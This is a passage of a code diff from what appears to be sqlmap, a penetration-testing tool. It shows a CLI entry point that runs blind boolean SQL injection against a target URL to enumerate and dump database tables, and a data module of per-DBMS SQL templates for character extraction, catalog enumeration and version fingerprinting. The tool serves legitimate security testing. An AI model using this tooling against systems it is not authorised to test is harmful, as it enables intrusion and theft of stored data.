parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)")
|
||||
parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)")
|
||||
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
|
||||
parser.add_argument("-T", dest="tbl", help="table to enumerate")
|
||||
parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
|
||||
# internal dev/test harness switches - functional but hidden from --help (--live drives the
|
||||
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
|
||||
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS)
|
||||
args, engines = parser.parse_known_args(argv)
|
||||
|
||||
if args.live:
|
||||
names = [a.lower() for a in engines if not a.startswith("-")]
|
||||
return 0 if _livetest(only=names or None, waf=args.waf) else 1
|
||||
if args.selftest: # self-test only on EXPLICIT request
|
||||
_selftest()
|
||||
return 0
|
||||
print(_banner()) # CLI identity (after the dev-harness paths above)
|
||||
if not args.url: # no target and nothing to do -> show help, don't surprise
|
||||
parser.print_help()
|
||||
return 1
|
||||
|
||||
target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL
|
||||
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
|
||||
args.string, args.code))
|
||||
import sys as _sys
|
||||
_tty = _sys.stdout.isatty()
|
||||
def _charLive(partial, total):
|
||||
# LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in
|
||||
# place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when
|
||||
# complete, so it can't collide with the next message. Framed rows preview as cells.
|
||||
shown = _previewFramed(partial)
|
||||
if shown is None:
|
||||
shown = partial
|
||||
_sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:]))
|
||||
if len(partial) >= total: # value complete -> keep it and drop to a new line
|
||||
_sys.stdout.write("\n")
|
||||
_sys.stdout.flush()
|
||||
def _plainLive(value): # piped/non-tty: one plain line per value, no control codes
|
||||
_sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value))
|
||||
_sys.stdout.flush()
|
||||
if _tty:
|
||||
esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal
|
||||
else:
|
||||
esp._progress = _plainLive # logs/pipes get clean per-value lines instead
|
||||
print("[i] discovering the back-end SQL dialect (agnostic mode) ...")
|
||||
try:
|
||||
esp.discover()
|
||||
_report(esp, args)
|
||||
except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback
|
||||
print("[!] could not establish a working boolean oracle (%s)" % ex)
|
||||
print(" check the target is reachable and injectable, and the marker/--string/--code are right")
|
||||
return 1
|
||||
except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback
|
||||
print("\n[!] aborted by user")
|
||||
return 1
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,508 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a
|
||||
dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only,
|
||||
no logic. Each table is (name, template, ...); templates use str.format fields such as
|
||||
{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is
|
||||
written as a \\uXXXX escape so it is always obvious which code point is meant.
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import binascii
|
||||
|
||||
|
||||
def _unhexlify(value):
|
||||
"""Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it."""
|
||||
if isinstance(value, type(u"")):
|
||||
value = value.encode("ascii")
|
||||
return binascii.unhexlify(value)
|
||||
|
||||
|
||||
def _isSingleUnicodeScalar(value):
|
||||
"""True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair)."""
|
||||
if len(value) == 1:
|
||||
return True
|
||||
return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and
|
||||
0xDC00 <= ord(value[1]) <= 0xDFFF)
|
||||
|
||||
|
||||
# string concatenation of {a} and {b} (operator or function form)
|
||||
_CONCAT = (
|
||||
("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI)
|
||||
("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB
|
||||
("plus", "({a})+({b})"), # MSSQL/Sybase
|
||||
("amp", "({a})&({b})"), # MS Access
|
||||
)
|
||||
|
||||
|
||||
# 1-based substring: {len} characters of {expr} starting at {pos}
|
||||
_SUBSTRING = (
|
||||
("SUBSTR", "SUBSTR(({expr}),{pos},{len})"),
|
||||
("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"),
|
||||
("MID", "MID(({expr}),{pos},{len})"),
|
||||
("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"),
|
||||
("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"),
|
||||
("substring_lc", "substring(({expr}),{pos},{len})"),
|
||||
# LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT
|
||||
# but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which
|
||||
# is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to
|
||||
# RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general
|
||||
# fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so
|
||||
# it is deliberately kept length-free and len=1-scoped.
|
||||
("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"),
|
||||
)
|
||||
|
||||
|
||||
# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here)
|
||||
_LENGTH = (
|
||||
("CHAR_LENGTH", "CHAR_LENGTH({expr})"),
|
||||
("LENGTH", "LENGTH({expr})"),
|
||||
("LEN", "LEN({expr})"),
|
||||
("length_lc", "length({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# single char {expr} -> its integer code point
|
||||
_CHARCODE = (
|
||||
("ASCII", "ASCII({expr})"),
|
||||
("UNICODE", "UNICODE({expr})"),
|
||||
("ORD", "ORD({expr})"),
|
||||
("CODEPOINT", "CODEPOINT({expr})"),
|
||||
("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255)
|
||||
("ASCII_VAL", "ASCII_VAL({expr})"),
|
||||
("ASCW", "ASCW({expr})"),
|
||||
("UNICODE_CODE", "UNICODE_CODE({expr})"),
|
||||
("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed)
|
||||
)
|
||||
|
||||
|
||||
# integer {code} -> single char (lets extraction build literals without quoting)
|
||||
_CHARFROM = (
|
||||
("CHAR", "CHAR({code})"),
|
||||
("CHR", "CHR({code})"),
|
||||
("NCHAR", "NCHAR({code})"),
|
||||
("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL)
|
||||
("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255)
|
||||
)
|
||||
|
||||
|
||||
# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case)
|
||||
_HEXFN = (
|
||||
("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive
|
||||
("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle
|
||||
("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071')
|
||||
("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB
|
||||
("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate
|
||||
("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase
|
||||
("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast)
|
||||
("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA
|
||||
("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica
|
||||
("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner
|
||||
)
|
||||
|
||||
|
||||
# uppercase hex alphabet the nibble reader walks over
|
||||
_HEXDIGITS = "0123456789ABCDEF"
|
||||
|
||||
|
||||
# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles)
|
||||
_MAX_HEX_CHAR_NIBBLES = 16
|
||||
|
||||
|
||||
# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes
|
||||
# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one
|
||||
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
|
||||
|
||||
|
||||
# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn -
|
||||
# the strongest encoding signal there is (the DB tells us its own charset), and read once. A
|
||||
# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one.
|
||||
_CHARSET_PROBES = (
|
||||
"@@character_set_connection", # MySQL/MariaDB/TiDB: the charset
|
||||
# CAST(x AS CHAR) outputs (what the
|
||||
# framed dump hexes), NOT @@character_set_database
|
||||
"current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate
|
||||
"(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle
|
||||
"CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number
|
||||
)
|
||||
|
||||
|
||||
# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec.
|
||||
# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really
|
||||
# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true
|
||||
# Latin-1. This is where reading the DB's own answer beats statistical detection.
|
||||
_CHARSET_CODEC = {
|
||||
"utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8",
|
||||
"unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8",
|
||||
"utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be",
|
||||
"latin1": "cp1252", # MySQL 'latin1' == Windows-1252
|
||||
"cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252",
|
||||
"iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1",
|
||||
"iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15",
|
||||
"cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251",
|
||||
"cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250",
|
||||
"gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030",
|
||||
"big5": "big5", "zht16big5": "big5", "950": "big5",
|
||||
"sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis",
|
||||
"euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr",
|
||||
"eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp",
|
||||
"koi8r": "koi8-r", "cl8koi8r": "koi8-r",
|
||||
"ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii",
|
||||
}
|
||||
|
||||
|
||||
def _charsetCodec(name):
|
||||
"""Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown.
|
||||
Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively."""
|
||||
import re as _re
|
||||
key = _re.sub(r"[^a-z0-9]", "", (name or "").lower())
|
||||
while key:
|
||||
if key in _CHARSET_CODEC:
|
||||
return _CHARSET_CODEC[key]
|
||||
key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4)
|
||||
return None
|
||||
|
||||
|
||||
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
|
||||
# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny
|
||||
# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall
|
||||
# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction.
|
||||
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV"))
|
||||
|
||||
|
||||
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
|
||||
# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL)
|
||||
_BINWRAP = (
|
||||
("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica
|
||||
("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE
|
||||
("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks
|
||||
("binary_op", "BINARY ({x})"), # MySQL (operator form)
|
||||
("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family
|
||||
("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2
|
||||
("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby
|
||||
("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle
|
||||
("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise)
|
||||
)
|
||||
|
||||
|
||||
# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull)
|
||||
_BULK_AGG = (
|
||||
("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks
|
||||
("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery
|
||||
("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful
|
||||
("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase
|
||||
("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB
|
||||
("list_fb", "LIST({col})"), # Firebird (returns BLOB)
|
||||
("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw)
|
||||
)
|
||||
|
||||
|
||||
# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family
|
||||
_DUAL = (
|
||||
("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/...
|
||||
("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID
|
||||
("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby
|
||||
("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird
|
||||
("DUMMY", " FROM DUMMY"), # SAP HANA
|
||||
("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix
|
||||
("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard
|
||||
("system.onerow", " FROM system.onerow"), # Mimer SQL
|
||||
)
|
||||
|
||||
|
||||
# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail)
|
||||
_DUAL_IMPLIES = {
|
||||
"DUAL": "Oracle / MaxDB / Altibase / CUBRID",
|
||||
"SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby",
|
||||
"RDB$DATABASE": "Firebird",
|
||||
"DUMMY": "SAP HANA",
|
||||
"SYSMASTER:SYSDUAL": "Informix",
|
||||
"VALUES": "HSQLDB / SQL-standard",
|
||||
"system.onerow": "Mimer SQL",
|
||||
}
|
||||
|
||||
|
||||
# version-banner probes: (label, expr, product, implies_product). engine-specific first;
|
||||
# implies_product=False marks generic banners where only the banner TEXT names the product
|
||||
_BANNERS = (
|
||||
("H2VERSION()", "H2VERSION()", "H2", True),
|
||||
("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True),
|
||||
("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True),
|
||||
("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True),
|
||||
("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle
|
||||
("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE
|
||||
("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True),
|
||||
("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True),
|
||||
("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True),
|
||||
("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True),
|
||||
("@@VERSION", "@@VERSION", None, False),
|
||||
("VERSION()", "VERSION()", None, False),
|
||||
("version()", "version()", None, False),
|
||||
)
|
||||
|
||||
|
||||
# product names searched for INSIDE a banner string; forks listed BEFORE their parents
|
||||
# (e.g. MariaDB before MySQL) so the more specific name wins
|
||||
_BANNER_KEYWORDS = (
|
||||
"Microsoft SQL Server",
|
||||
"CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL",
|
||||
"TiDB", "Percona", "MariaDB", "MySQL",
|
||||
"Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake",
|
||||
"Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix",
|
||||
)
|
||||
|
||||
|
||||
# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing)
|
||||
_BYTELEN = (
|
||||
("OCTET_LENGTH", "OCTET_LENGTH({expr})"),
|
||||
("DATALENGTH", "DATALENGTH({expr})"),
|
||||
("LENGTHB", "LENGTHB({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
|
||||
# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but
|
||||
# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still
|
||||
# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check
|
||||
# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded;
|
||||
# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap,
|
||||
# so a >4000 value there is caught by per-cell source verification in dump(), not here.
|
||||
_TEXTCAST = (
|
||||
("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED
|
||||
("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR)
|
||||
("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED
|
||||
("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode)
|
||||
("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED
|
||||
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only)
|
||||
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit)
|
||||
("to_char", "TO_CHAR({expr})"),
|
||||
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
|
||||
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
|
||||
)
|
||||
|
||||
|
||||
# substitute {fallback} when {expr} IS NULL
|
||||
_COALESCE = (
|
||||
("COALESCE", "COALESCE({expr},{fallback})"),
|
||||
("IFNULL", "IFNULL({expr},{fallback})"),
|
||||
("NVL", "NVL({expr},{fallback})"),
|
||||
("ISNULL", "ISNULL({expr},{fallback})"),
|
||||
("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"),
|
||||
)
|
||||
|
||||
|
||||
# expressions that yield the current user / database-or-schema / version, per kind
|
||||
_IDENTITY = {
|
||||
"user": (
|
||||
"CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER",
|
||||
"SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()",
|
||||
),
|
||||
# the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA
|
||||
# functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope
|
||||
# column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE()
|
||||
# is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL),
|
||||
# SCHEMA() returns the same value, so nothing regresses.
|
||||
"database": (
|
||||
"CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema",
|
||||
"SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()",
|
||||
), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix
|
||||
"version": (
|
||||
"VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()",
|
||||
"DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()",
|
||||
"(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle
|
||||
"(SELECT version FROM v$instance)", # Oracle alt
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first
|
||||
# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family
|
||||
_CATALOGS = (
|
||||
("sqlite_master", "SQLite",
|
||||
{"table": ("tbl_name", "sqlite_master", "type='table'")}),
|
||||
("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as
|
||||
{"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler
|
||||
"schema": ("OWNER", "SYS.ALL_TABLES", None)}),
|
||||
("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede
|
||||
{"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`)
|
||||
"schema": ("table_schema", "information_schema.tables", None)}),
|
||||
("pg_catalog.pg_tables", "PostgreSQL-family",
|
||||
{"table": ("tablename", "pg_catalog.pg_tables", None),
|
||||
"schema": ("schemaname", "pg_catalog.pg_tables", None)}),
|
||||
("master..sysdatabases", "MSSQL/Sybase",
|
||||
{"database": ("name", "master..sysdatabases", None),
|
||||
"schema": ("name", "sys.schemas", None),
|
||||
"table": ("name", "sys.tables", None)}),
|
||||
("RDB$RELATIONS", "Firebird",
|
||||
{"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding
|
||||
("syscat.tables", "IBM DB2",
|
||||
{"table": ("tabname", "syscat.tables", None)}),
|
||||
("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS,
|
||||
{"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA
|
||||
("SYS.OBJECTS", "SAP HANA",
|
||||
{"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}),
|
||||
("SYS.SYSTABLES", "Apache Derby",
|
||||
{"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables)
|
||||
("SYSIBM.SYSTABLES", "DB2/Derby",
|
||||
{"table": ("NAME", "SYSIBM.SYSTABLES", None)}),
|
||||
("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage);
|
||||
{"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed
|
||||
("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified);
|
||||
{"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables
|
||||
("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the
|
||||
{"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute
|
||||
("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)",
|
||||
{"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None),
|
||||
"schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}),
|
||||
)
|
||||
|
||||
|
||||
# per-catalog column enumeration: (name_col, source, filter) where filter has one %s
|
||||
# for the (literal) table name; matched by the catalog chosen above
|
||||
# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the
|
||||
# catalog's declared column position, used to return columns in DEFINITION order (else
|
||||
# they come out alphabetical); a wrong/absent one just degrades to alphabetical
|
||||
_COLUMN_SPECS = {
|
||||
"sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"),
|
||||
"SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema
|
||||
"pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),
|
||||
"sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns())
|
||||
"master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"),
|
||||
"RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding
|
||||
"syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"),
|
||||
"db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID
|
||||
"systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix
|
||||
"sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB
|
||||
"system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db)
|
||||
"SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"),
|
||||
"SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"),
|
||||
"SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"),
|
||||
"INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"),
|
||||
}
|
||||
|
||||
|
||||
# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB
|
||||
# (case-sensitive, literal '_') is preferred over LIKE
|
||||
_PREFIX = (
|
||||
("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred)
|
||||
("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive)
|
||||
("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META)
|
||||
)
|
||||
|
||||
|
||||
# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a
|
||||
# literal one in the extracted value must be backslash-escaped or the pattern mismatches
|
||||
_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$")
|
||||
|
||||
|
||||
# identifier quoting styles: (open, close); probed against a known-present table
|
||||
_IDENT_QUOTE = (
|
||||
('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/...
|
||||
('`', '`'), # MySQL/MariaDB/TiDB
|
||||
('[', ']'), # SQL Server/Access/Sybase
|
||||
)
|
||||
|
||||
|
||||
# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter);
|
||||
# the preferred row-ordering key for dump()
|
||||
